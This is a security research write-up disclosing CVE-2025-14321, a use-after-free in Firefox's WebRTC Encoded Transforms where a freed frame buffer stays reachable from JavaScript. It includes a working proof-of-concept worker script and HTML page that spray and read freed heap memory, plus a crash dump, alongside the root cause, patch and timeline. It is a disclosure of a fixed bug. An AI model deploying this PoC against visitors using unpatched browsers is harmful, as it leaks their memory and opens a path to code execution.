Firefox / WebRTC Encoded Transforms: UAF via undetached ArrayBuffer / CVE-2025-14321
Author
Joshua Rogers
Date Published

The AISLE Research Team discovered a use-after-free (UAF) vulnerability in Firefox's WebRTC API, namely in its WebRTC Encoded Transforms mechanism, that could be abused to form the basis of a remote code execution vulnerability by providing a heap corruption primitive (write) and an info leak primitive (read). This vulnerability was discovered autonomously with AISLE's AI-based source code analyzer, and subsequently reported to Mozilla and fixed.
Background: Encoded Transforms
Firefox's WebRTC API supports a wide range of interfaces which allow the manipulation of incoming and outgoing encoded video and audio frames, enabling a website to do things like provide end-to-end encryption of frames using third-party code on the website, add watermarks, or perform some other transformations on the raw data. This feature is provided by the "Encoded Transforms" interface, and is exposed to a website via the RTCRtpScriptTransform() API.
The internal data exposed to a website utilizing this API behaves exactly like a normal JS ArrayBuffer. And just like a normal ArrayBuffer, lifetime checks need to ensure that the backing store (behind the API) is kept alive for as long as a reference to the website is available in the browser. In other words, the internal storage of the ArrayBuffer must be kept alive for as long as a website can interact with it. If the internal storage is destroyed while a website can still reference it, it allows the website to interact with unaccounted-for memory, including writing to now-untracked (or mis-tracked) memory, or accessing data which the website was not supposed to have access to.
Root cause
In Firefox's WebRTC engine, the logic for Encoded Transforms occurs in the RTCEncodedFrameBase class. When this class is initialized, the underlying frame storage is exposed as an ArrayBuffer by creating an alias of the native frame buffer:
C1// dom/media/webrtc/jsapi/RTCEncodedFrameBase.cpp2RTCEncodedFrameBase::RTCEncodedFrameBase(nsIGlobalObject* aGlobal, ... {3[..]4 // Avoid a copy5 mData = JS::NewArrayBufferWithUserOwnedContents( // exposes native storage as an ArrayBuffer6 jsapi.cx(), mState.mFrame->GetData().size(),7 (void*)(mState.mFrame->GetData().data()));8}
This made the native memory available to the website using the RTCRtpScriptTransform() API. That is to say, within the C++ code, the memory was referenced by mData, which was exposed to the website as frame.data. The website can read and write to that backing store, and the engine is expected to ensure that no malicious read/write can occur.
The problem detected by our analyzer was simple: when the native memory was released, the JS ArrayBuffer was not detached, allowing the webpage to keep manipulating the location that the buffer pointed to in memory, with no guarantees that it pointed to a correctly allocated piece of memory anymore. Put differently, the pointer that frame.data still had access to could point to newly-freed (and likely reused) memory. This dangling pointer formed the basis of a use-after-free vulnerability, as the webpage could freely interact with frame.data and continue to read/write bytes to that location in memory.
The intended contract
The normal, intended pattern for this kind of functionality is quite simple:
- Allocate native memory using
NewArrayBufferWithUserOwnedContents(). - Expose an
ArrayBufferto the website that points to the native memory. - Website uses the
ArrayBuffer. - Detach the
ArrayBuffer, removing the website's ability to interact with its backing store. - Free/recycle native memory.
There are many things that can go wrong if any of these steps are not followed:
- If #5 does not occur, there will be a memory leak because the native memory will never be freed.
- If #4 does not occur (but #5 does), a UAF like the one our analyzer discovered will occur.
- If #1 does not occur, a UAF may also occur (if unallocated or otherwise invalid memory is ever exposed to the website).
So, the contract is simple: if you use NewArrayBufferWithUserOwnedContents(), you are responsible for detaching the ArrayBuffer before the backing store becomes invalid. In this case, the original destructor did not detach:
C1RTCEncodedFrameBase::~RTCEncodedFrameBase() = default; // no DetachArrayBuffer
Triggering the bug
Triggering the lifetime mismatch is straightforward:
- Create a reference to a frame's data:
buf = frame.data;(where frame is delivered via the encoded transform pipeline). - Keep
bufalive (store it in a global list). - Drop the
framewrapper soRTCEncodedFrameBasecan be destroyed. - Continue using
bufafter the native storage has been freed/reused.
Thus, the JS-visible ArrayBuffer outlives the native allocation it aliases.
Read/Write primitives
Once we have a live ArrayBuffer pointing to freed memory, we have a few options for exploitation.
READ:
new Uint8Array(buf)[i]reads whatever bytes currently reside at that address. When the allocator re-uses the freed region, reads become cross-object disclosure (stale heap contents, unrelated object bytes, and potentially sensitive data).
WRITE:
new Uint8Array(buf).fill(0x41)writes into memory that may now belong to a different allocation. If a pointer-bearing object reuses that region, you can corrupt pointer fields / vtables / length fields / etc., yielding reliable crashes and potentially controllable corruption with the usual heap-shaping work.
Proof of concept
We developed a PoC for this bug below, which demonstrates an indirect call through a value with the 0x41 pattern, which is what you expect when you repeatedly spray 0x41 into a region that later gets interpreted as a pointer.
JavaScript1// poc-minimal-worker.js2// first, store up to 200 `frame.data` ArrayBuffers3// next, drop the frames to trigger the wrapper teardown (native storage can be freed)4// repeatedly fill retained buffers with 0x415// report when the first bytes are no longer 0x41 (i.e., the memory has changed because it is being used elsewhere)6const leaks = [];7const MAX = 200;89function hex16(buf) {10 const u8 = new Uint8Array(buf);11 return [...u8.slice(0, 16)].map(b => b.toString(16).padStart(2, '0')).join('');12}1314function refillAndCheck() {15 for (let i = 0; i < leaks.length; i++) {16 const u8 = new Uint8Array(leaks[i]);17 for (let j = 0; j < Math.min(16, u8.length); j++) {18 if (u8[j] !== 0x41) {19 postMessage({ type: 'change', idx: i, hex: hex16(leaks[i]) });20 break;21 }22 }23 u8.fill(0x41);24 }25}2627self.onrtctransform = (event) => {28 const { readable } = event.transformer;2930 readable31 .pipeTo(new WritableStream({32 write(frame) {33 const buf = frame.data;3435 if (leaks.length < MAX) {36 leaks.push(buf);37 new Uint8Array(buf).fill(0x41);38 postMessage({ type: 'leak', idx: leaks.length - 1, size: buf.byteLength, hex: hex16(buf) });3940 // Drop wrapper: do not forward this frame.41 return;42 }4344 refillAndCheck();45 // Continue dropping frames to keep churn high.46 }47 }))48 .catch(() => {});49};50
Eventually, a crash occurs:
JavaScript1Operating system: Linux2 6.12.32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.32-1 (2025-06-07)3CPU: amd644 family 25 model 97 stepping 25 32 CPUs6Linux debian 13 - trixie (Debian GNU/Linux 13 (trixie))78Crash reason: SIGSEGV / SI_KERNEL9Crash address: 0x0000000000000000 **10 ** Non-canonical address detected: 0x414141414141415911Crashing instruction: `call qword [rax + 0x18]`12Memory accessed by instruction:13 0. Address: 0x414141414141415914 Size: 815 Access type: Read16 1. Address: 0x00007f1ef06ff6e817 Size: 818 Access type: Write1920Thread 34 WebrtcC~read #1 (crashed) - tid: 95899721 0 libxul.so!mozilla::DelayedRunnable::Notify(nsITimer*) [DelayedRunnable.cpp : 92]22 Found by: inlining23 1 libxul.so!{virtual override thunk({offset(-16)}, mozilla::DelayedRunnable::Notify(nsITimer*))} [DelayedRunnable.cpp : 0 + 0x3b]24 rax = 0x4141414141414141 rdx = 0x000000000000000325 rcx = 0x0000000000000000 rbx = 0x00007f1ef0093ee826 rsi = 0x0000000000000000 rdi = 0x00007f1ef0093e4027 rbp = 0x0000000000000001 rsp = 0x00007f1ef06ff6f028 r8 = 0x0000000000000011 r9 = 0x00000000ffffffff29 r10 = 0x0000000000000000 r11 = 0x000000000000024630 r12 = 0x0000000000000012 r13 = 0x000000000000000031 r14 = 0x00007f1ef0093ec0 r15 = 0x00007f1ef0093e4032 rip = 0x00007f1efb969b8733
Additional PoC
We also prepared a PoC which leaks memory from the dangling pointer for any user that visits the webpage using a vulnerable version of Firefox:
poc-minimal.html
HTML1<!doctype html>2<meta charset="utf-8">3<title>Minimal PoC: RTCEncodedFrameBase UAF</title>4<script>5(async () => {6 const canvas = document.createElement('canvas');7 canvas.width = 320; canvas.height = 180;8 const ctx = canvas.getContext('2d');9 let t = 0;10 function draw() {11 t++;12 ctx.fillStyle = `hsl(${t % 360}, 80%, 50%)`;13 ctx.fillRect(0, 0, canvas.width, canvas.height);14 requestAnimationFrame(draw);15 }16 draw();17 const track = canvas.captureStream(30).getVideoTracks()[0];1819 const pc1 = new RTCPeerConnection();20 const pc2 = new RTCPeerConnection();21 const sender = pc1.addTransceiver(track);2223 const worker = new Worker('poc-minimal-worker.js');24 const transform = new RTCRtpScriptTransform(worker, { role: 'receiver' });25 sender.sender.transform = new RTCRtpScriptTransform(worker, { role: 'sender' });2627 pc2.ontrack = (ev) => ev.receiver.transform = transform;2829 pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);30 pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);3132 const offer = await pc1.createOffer();33 await pc1.setLocalDescription(offer);34 await pc2.setRemoteDescription(offer);35 const answer = await pc2.createAnswer();36 await pc2.setLocalDescription(answer);37 await pc1.setRemoteDescription(answer);3839 worker.onmessage = (e) => {40 const d = e.data;41 if (d.type === 'leak') {42 console.log(`[leak ${d.idx}] size=${d.size} first16=${d.hex}`);43 } else if (d.type === 'change') {44 console.log(`[leak ${d.idx}] CHANGED: ${d.hex}`);45 }46 };47})();48</script>49
Fix
The fix was conceptually simple: make detachment unavoidable. The full change is available here. The patch introduces a DetachData() helper and calls it from all teardown paths (including the destructor and cycle-collection unlink) so that once native storage is destroyed, any JS-visible buffer is detached and cannot be used as a dangling read/write view.
Timeline
- 2025-10-06 Reported by Igor Morgernstern of the AISLE Research Team
- 2025-11-19 Fix landed.
- 2025-12-09 Shipped in Firefox 146 / ESR 140.6
Increasing Coverage with AISLE
CVE-2025-14321 is a good example of what AISLE's autonomous analyzer is built to catch: subtle lifetime/ownership mismatches at API boundaries in real-world codebases, where a "safe" high-level interface can accidentally outlive the native resources it aliases.
If you're interested in learning about more vulnerabilities found with AISLEs analyzer, check out our other posts for more findings, or reach us at [email protected]